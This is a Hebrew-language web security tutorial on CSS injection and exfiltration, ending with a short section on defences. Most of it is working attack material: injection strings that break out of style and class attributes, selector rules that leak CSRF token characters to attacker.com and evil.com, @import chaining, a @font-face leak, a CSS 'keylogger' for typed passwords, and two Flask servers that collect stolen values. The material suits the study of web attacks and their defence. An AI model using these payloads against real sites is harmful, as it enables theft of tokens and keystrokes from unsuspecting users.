לדלג לתוכן

הזרקת CSS ואקספילטרציה - CSS Injection and Exfiltration

הזרקת CSS - יסודות

הזרקת CSS מתרחשת כאשר תוקף יכול להחדיר תוכן CSS לדף. למרות ש-CSS אינו שפת תכנות, ניתן לנצל אותו לחילוץ מידע רגיש מהדף.

נקודות הזרקה נפוצות

<!-- הזרקה דרך style attribute -->
<div style="USER_INPUT_HERE"></div>

<!-- הזרקה דרך תגית style -->
<style>
  .widget { color: USER_INPUT_HERE; }
</style>

<!-- הזרקה דרך CSS import -->
<link rel="stylesheet" href="https://example.com/style?theme=USER_INPUT">

דוגמה להזרקה:

קלט: red; } body { background: url(https://attacker.com/css-injected) } .x {
תוצאה:
<style>
  .widget { color: red; }
  body { background: url(https://attacker.com/css-injected) }
  .x { }
</style>

חילוץ מידע עם Attribute Selectors

הטכניקה המרכזית - שימוש ב-CSS attribute selectors כדי לזהות ערכים של שדות input:

/* בדיקה אם ערך input מתחיל ב-'a' */
input[value^="a"] {
  background: url(https://attacker.com/exfil?char=a);
}

/* בדיקה אם ערך input מתחיל ב-'b' */
input[value^="b"] {
  background: url(https://attacker.com/exfil?char=b);
}

/* וכן הלאה לכל תו אפשרי */

כאשר הדפדפן מוצא input שערכו מתחיל ב-a, הוא טוען את ה-URL של התוקף. התוקף יודע את התו הראשון.

חילוץ CSRF token

אם בדף יש input מוסתר עם CSRF token:

<input type="hidden" name="csrf_token" value="a7f3b2c9d1e4">

ה-CSS של התוקף:

input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/exfil?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/exfil?v=b); }
/* ... */
input[name="csrf_token"][value^="a7"] { background: url(https://attacker.com/exfil?v=a7); }
input[name="csrf_token"][value^="a8"] { background: url(https://attacker.com/exfil?v=a8); }
/* ... */

הבעיה: צריך לשלוח CSS חדש לכל תו, כי צריך לדעת את התו הקודם לפני שבודקים את הבא.


טכניקת Sequential Import

פתרון לבעיית החילוץ הסדרתי - שימוש ב-CSS import שרץ שוב ושוב:

/* שלב 1: CSS ראשוני */
@import url(https://attacker.com/exfil/step1);

השרת מחזיר CSS עם כל האפשרויות לתו הראשון:

/* תגובה מהשרת - step1 */
input[name="csrf"][value^="0"] { background: url(https://attacker.com/leak?p=0); }
input[name="csrf"][value^="1"] { background: url(https://attacker.com/leak?p=1); }
input[name="csrf"][value^="2"] { background: url(https://attacker.com/leak?p=2); }
/* ... עד z, 0-9 */

כשהתוקף מקבל hit ל-?p=a, הוא יודע שהתו הראשון הוא a. עכשיו ה-import הבא:

/* תגובה מהשרת - step2 (אחרי שגילינו 'a') */
input[name="csrf"][value^="a0"] { background: url(https://attacker.com/leak?p=a0); }
input[name="csrf"][value^="a1"] { background: url(https://attacker.com/leak?p=a1); }
/* ... */

אוטומציה עם שרת

from flask import Flask, request, Response
import string

app = Flask(__name__)
leaked = ""
charset = string.ascii_lowercase + string.digits

@app.route('/exfil/start')
def start():
    css = generate_css("")
    return Response(css, mimetype='text/css')

@app.route('/leak')
def leak():
    global leaked
    leaked = request.args.get('p', '')
    print(f'[+] Leaked so far: {leaked}')
    return '', 200

@app.route('/exfil/next')
def next_step():
    css = generate_css(leaked)
    return Response(css, mimetype='text/css')

def generate_css(prefix):
    rules = []
    for char in charset:
        value = prefix + char
        rules.append(
            f'input[name="csrf_token"][value^="{value}"]'
            f'{{ background: url(https://attacker.com/leak?p={value}); }}'
        )
    # import לשלב הבא
    rules.append(f'@import url(https://attacker.com/exfil/next?t={len(prefix)+1});')
    return '\n'.join(rules)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

טכניקת Font-Face Unicode-Range

טכניקה מתקדמת יותר שמשתמשת ב-@font-face עם unicode-range כדי לזהות תווים ספציפיים:

@font-face {
  font-family: exfil;
  src: url(https://attacker.com/leak?char=a);
  unicode-range: U+0061; /* 'a' */
}

@font-face {
  font-family: exfil;
  src: url(https://attacker.com/leak?char=b);
  unicode-range: U+0062; /* 'b' */
}

/* הפעלה על אלמנט שמכיל את הטקסט */
.target-element {
  font-family: exfil, sans-serif;
}

כאשר הדפדפן מרנדר טקסט עם התו a, הוא טוען את הגופן מ-URL של התוקף.

יתרונות

  • עובד על תוכן טקסט (לא רק attribute values)
  • ניתן לזהות אילו תווים קיימים בטקסט

חסרונות

  • לא שומר על סדר התווים
  • מזהה רק קיום, לא מיקום
  • חלק מהדפדפנים לא תומכים בטעינה לפי unicode-range

CSS Keylogger

רעיון תיאורטי - שימוש ב-CSS attribute selectors כדי לתעד הקלדות:

/* "keylogger" ב-CSS - עובד רק עם input שהערך שלו מתעדכן ב-attribute */
input[value$="a"] { background: url(https://attacker.com/key?k=a); }
input[value$="b"] { background: url(https://attacker.com/key?k=b); }
input[value$="c"] { background: url(https://attacker.com/key?k=c); }
/* ... לכל תו */

מגבלות:
- ב-React/Angular שמעדכנים את ה-value attribute, זה עלול לעבוד
- ב-HTML רגיל, value attribute לא מתעדכן אוטומטית עם ההקלדה
- הדפדפן שולח בקשה רק פעם אחת לכל URL (caching)

גרסה עם React

/* React מעדכן את value attribute */
input[value$="p"] { background: url(https://attacker.com/log?last=p); }
input[value$="pa"] { background: url(https://attacker.com/log?last=pa); }
input[value$="pas"] { background: url(https://attacker.com/log?last=pas); }
input[value$="pass"] { background: url(https://attacker.com/log?last=pass); }

ניצול Scroll-to-Text Fragment

טכניקת scroll-to-text מאפשרת קישור לטקסט ספציפי בדף:

https://example.com/page#:~:text=secret%20token

ניתן לשלב עם CSS כדי לזהות אם טקסט קיים:

/* אם הדפדפן גולל לטקסט, האלמנט מקבל pseudo-class */
:target::before {
  content: url(https://attacker.com/found);
}

מגבלות: עובד רק ב-Chrome, ולא תמיד עם CSS.


CSS Exfiltration Payload מלא

payload שמחלץ CSRF token מ-hidden input

/* Step 1: חילוץ תו ראשון */
input[name="csrf"][value^="0"]{--x:url(https://evil.com/l?v=0)}
input[name="csrf"][value^="1"]{--x:url(https://evil.com/l?v=1)}
input[name="csrf"][value^="2"]{--x:url(https://evil.com/l?v=2)}
input[name="csrf"][value^="3"]{--x:url(https://evil.com/l?v=3)}
input[name="csrf"][value^="4"]{--x:url(https://evil.com/l?v=4)}
input[name="csrf"][value^="5"]{--x:url(https://evil.com/l?v=5)}
input[name="csrf"][value^="6"]{--x:url(https://evil.com/l?v=6)}
input[name="csrf"][value^="7"]{--x:url(https://evil.com/l?v=7)}
input[name="csrf"][value^="8"]{--x:url(https://evil.com/l?v=8)}
input[name="csrf"][value^="9"]{--x:url(https://evil.com/l?v=9)}
input[name="csrf"][value^="a"]{--x:url(https://evil.com/l?v=a)}
input[name="csrf"][value^="b"]{--x:url(https://evil.com/l?v=b)}
input[name="csrf"][value^="c"]{--x:url(https://evil.com/l?v=c)}
input[name="csrf"][value^="d"]{--x:url(https://evil.com/l?v=d)}
input[name="csrf"][value^="e"]{--x:url(https://evil.com/l?v=e)}
input[name="csrf"][value^="f"]{--x:url(https://evil.com/l?v=f)}

/* שימוש ב-custom property כדי לטעון רק כשמתאים */
input[name="csrf"] {
  background: var(--x);
}

שרת לקבלת המידע

from flask import Flask, request
import time

app = Flask(__name__)
exfiltrated = {}

@app.route('/l')
def leak():
    value = request.args.get('v', '')
    timestamp = time.time()
    exfiltrated[timestamp] = value
    print(f'[{time.strftime("%H:%M:%S")}] Leaked: {value}')
    return '', 200

@app.route('/status')
def status():
    # הצגת כל המידע שנגנב
    sorted_leaks = sorted(exfiltrated.items())
    result = '\n'.join([f'{ts}: {val}' for ts, val in sorted_leaks])
    return result, 200, {'Content-Type': 'text/plain'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8443, ssl_context='adhoc')

מגבלות מעשיות

הגבלות הדפדפן

  • דפדפנים מבצעים caching של בקשות background-image
  • חלק מהדפדפנים לא טוענים background-image על hidden elements
  • display: none מונע טעינת background
  • type="hidden" על input לא תמיד מציג background

עקיפות למגבלות

/* הפיכת hidden input ל-visible */
input[type="hidden"][name="csrf"] {
  display: block !important;
  position: absolute;
  width: 1px;
  height: 1px;
  overflow: hidden;
}

/* שימוש ב-::after pseudo-element */
input[name="csrf"][value^="a"]::after {
  content: url(https://attacker.com/leak?v=a);
}

/* שימוש ב-list-style-image במקום background */
input[name="csrf"][value^="a"] {
  list-style-image: url(https://attacker.com/leak?v=a);
}

הזרקת CSS מתקדמת - ללא תגית style

כאשר יש injection point ב-attribute:

<!-- injection ב-class attribute -->
<div class="USER_INPUT"></div>

ניתן להשתמש ב-attribute injection:

קלט: x" style="background:url(https://attacker.com/injected)" class="y
תוצאה: <div class="x" style="background:url(https://attacker.com/injected)" class="y"></div>

כאשר יש injection ב-style attribute:

קלט: ;background:url(https://attacker.com/injected)
תוצאה: <div style="color:red;background:url(https://attacker.com/injected)"></div>

חילוץ מידע מ-meta tags

/* חילוץ תוכן meta tag */
meta[name="csrf-token"][content^="a"] ~ * {
  background: url(https://attacker.com/leak?v=a);
}

/* meta tags הם בדרך כלל ב-head ולא visible */
/* צריך להשתמש ב-sibling selector */
head, head * {
  display: block;
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://attacker.com/leak?v=a);
  display: block;
}

הגנה

CSP מחמיר לסגנונות

Content-Security-Policy: style-src 'self' 'nonce-random123'; img-src 'self'

הימנעות מהזרקת CSS

// לא לשים קלט משתמש בתוך CSS
// רע:
element.style.color = userInput;
element.setAttribute('style', 'color: ' + userInput);

// טוב:
let allowedColors = ['red', 'blue', 'green'];
if (allowedColors.includes(userInput)) {
  element.style.color = userInput;
}

שימוש ב-CSS sanitization

// ניקוי ערכי CSS
function sanitizeCSSValue(value) {
  // מסיר url(), expression(), import, וכו'
  return value.replace(/url\s*\(/gi, '')
              .replace(/expression\s*\(/gi, '')
              .replace(/@import/gi, '')
              .replace(/javascript:/gi, '')
              .replace(/;/g, '');
}

הפרדת CSRF tokens מ-DOM

// במקום hidden input, שמור token ב-JavaScript בלבד
// לא נגיש ל-CSS selectors
const csrfToken = (function() {
  let token = null;
  return {
    set: function(t) { token = t; },
    get: function() { return token; }
  };
})();

סיכום

הזרקת CSS היא טכניקת תקיפה שמאפשרת חילוץ מידע רגיש מדפי HTML ללא JavaScript. הטכניקה מנצלת attribute selectors ו-background URLs כדי לשלוח מידע לשרת התוקף. למרות מגבלות מעשיות, היא יעילה במיוחד לחילוץ CSRF tokens ומידע מ-hidden inputs. ההגנה דורשת CSP מחמיר, הימנעות מהחדרת קלט משתמש לתוך CSS, והפרדת מידע רגיש מ-DOM.